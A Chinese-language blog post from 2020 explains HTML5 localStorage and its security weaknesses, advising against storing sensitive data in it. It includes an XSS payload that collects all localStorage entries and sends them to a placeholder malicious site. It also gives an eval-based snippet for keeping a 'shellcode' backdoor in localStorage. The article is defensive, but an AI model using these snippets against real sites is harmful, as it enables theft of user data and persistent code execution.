[html5]localStorage的原理和HTML5本地存储安全性

Posted 2020-06-13

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html5本地存储的前身就是Cookie，HTML5的本地存储是使用localStorage对象将WEB数据持久化在本地。相比较而言HTML5本地存储中每个域的存储大小默认是5M，比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练： 

Window.localStorage.setItem(key,value);//存储数据 
Window.localStorage.getItem(key);//读取数据 
Window.localStorage.removeItem(key);//删除数据项 
Window.localStorage.clear();//删除所有数据 

　　那么现在我们是否可以简单的认为，HTML5存储已经可以代替Cookie存储。而这种新的存储方式又在实际应用中带来了哪些新的安全风险。带着这些疑问我们来进行下面的讨论。 

　　(1)、是否可以代替Cookie 

　　浏览器使用Cookie进行身份验证已经好多年，那现在既然localStorage存储空间那么大，是否可以把身份验证的数据直接移植过来呢。以现在来看，把身份验证数据使用localStorage进行存储还不太成熟。我们知道，通常可以使用XSS漏洞来获取到Cookie，然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据，浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞，那么存储在localStorage里的数据就极易被获取到。 

　　如果一个网站存在XSS漏洞，那么攻击者注入如下代码，就可以获取使用localStorage存储在本地的所有信息。 

Js代码  

1. var i = 0;  
2. var str = "";  
3. while (localStorage.key(i) != null)  
4. {  
5.     var key = localStorage.key(i);   
6.     str += key + ": " + localStorage.getItem(key);  
7.     i++;  
8. }  
9. document.location="http://your-malicious-site.com?stolen="+ str;  

　　攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。 

　　(2)、不要存储敏感信息 

　　从(1)中知道，从远程攻击来看localStorage存储的数据容易被XSS攻击获取，所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说，从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。 

　　五大浏览器现在都已经支持以localStorage方式进行存储，其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式： 
 
HTML5本地存储的安全性 

　　通过上面的描述可以看出，除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的)，其他浏览器均是采用明文存储数据。 

　　另一方面，在数据存储的时效上，localStorage并不会像Cookie那样可以设置数据存活的时限，只要用户不主动删除，localStorage存储的数据将会永久存在。 

　　根据以上对存储方式和存储时效的分析，建议不要使用localStorage方式存储敏感信息，那怕这些信息进行过加密。 

　　(3)、严格过滤输入输出 

　　对于本地存储，为了方便再次加载数据，常常会把数据存储在本地。等再此加载的时候，直接从本地读取数据显示在网页上。在某些情况下，在通过在localStorage存储中写入或读取数据的时候，如果数据没有经过输入输出严格过滤，那么极易可能这些数据被作为HTML代码进行解析，从而产生XSS攻击。 

　　Twitter就发生过localStorage XSS漏洞。次漏洞触发的条件是，在Twitter的个人主页上执行以下存储代码后，每次再打开个人主页时就会弹出/xss/框。 

　　从这段代码可以看出，Twitter会使用localStorage方法把一些个人数据存储到本地，每次加载个人主页面的时候就会从本地存储取数据，然后由于Twitter忽略了对去除数据的严格过滤导致存储的代码会被当作HMTL编码执行，进而发生跨站攻击。 

　　Twitter localStorage XSS 漏洞详细信息可以查看：http://www.wooyun.org/bugs/ wooyun-2010-03075。虽然Twitter这个漏洞利用起来非常困难，但它再一次告诉我们本着一切输入输出都是有害的原则，要对数据进行严格的输入输出过滤。 

　　(4)、容易遭受跨目录攻击 

　　localStroage存储方式不会像Cookie存储一样可以指定域中的路径，在localStroage存储方式中没有域路径的概念。也就是说，如果一个域下的任意路径存在XSS漏洞，整个域下存储的数据，在知道存储名称的情况下，都可以被获取到。 

　　假设下面两个链接是使用localStorage来存储数据： 

　　用户xisigr和xhack各自的blog链接虽然属于同一个域，但却有不同的路径，一个路径为xisigr，另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞，那么就可以在自己的blog中加入获取数据代码，其中核心代码为localStorage.getItem(“name”)。xhack用户并不需要登录blog,他只要访问http://h.example.com/xisigr，本地存储数据就会被获取到。 

　　(5)、容易遭受DNS欺骗攻击 

　　Google在没有使用HTML5本地存储前，是使用Google Gears方式来进行本地存储的，那个时候Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储，可以把Gmail,WordPresss这样网站数据的以SQLite数据库的形式存储下来，以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击，那么就可以注入本地数据库，获取数据或者留下永久的后门。这样将会造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。 

　　(6)、恶意代码栖息的温床 

　　在第六点中给出“恶意代码栖息的温床”这个小标题有些夸大的效果。其实这里想说的是HTML5本地存储在空间上和时间上都将称为今后存储的趋势，料想“恶意代码们”自然会大雁南飞转移栖息到这张温床。 

　　那么，何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间，比起Cookie 4K空间的微小来说，HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大，而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上，随着HTML5技术日渐成熟，除了各大浏览器厂商争先在自己的产品中支持HTML5外，一些大应用软件厂商也对其信赖有佳。比如2011.11月份Adobe宣布放弃手机上的FLASH， 而有HTML5全面取而代之。随着时间的推移，HTML5大脚步前行的速度也会越来越快，也会使得用到HTML5本地存储的应用会越来越多。 

　　上面从理论上分析了，“恶意代码栖息的温床”的可能性。从实际技术上的可行性也是非常简单。下面是在本地留后门的核心代码： 

Js代码  

1. // 保存shellcode  
2. function setShellCodz(codz){  
3.     window.localStorage.setItem("shellcodz", codz);  
4. }  
5.   
6. // 执行shellcode  
7. function getShellCodz(){  
8.     eval(window.localStorage.getItem("shellcodz"));  
9. }  
10.   
11. // 删除shellcode  
12. function delShellCodz(){  
13.     window.localStorage.removeItem("shellcodz");  
14. }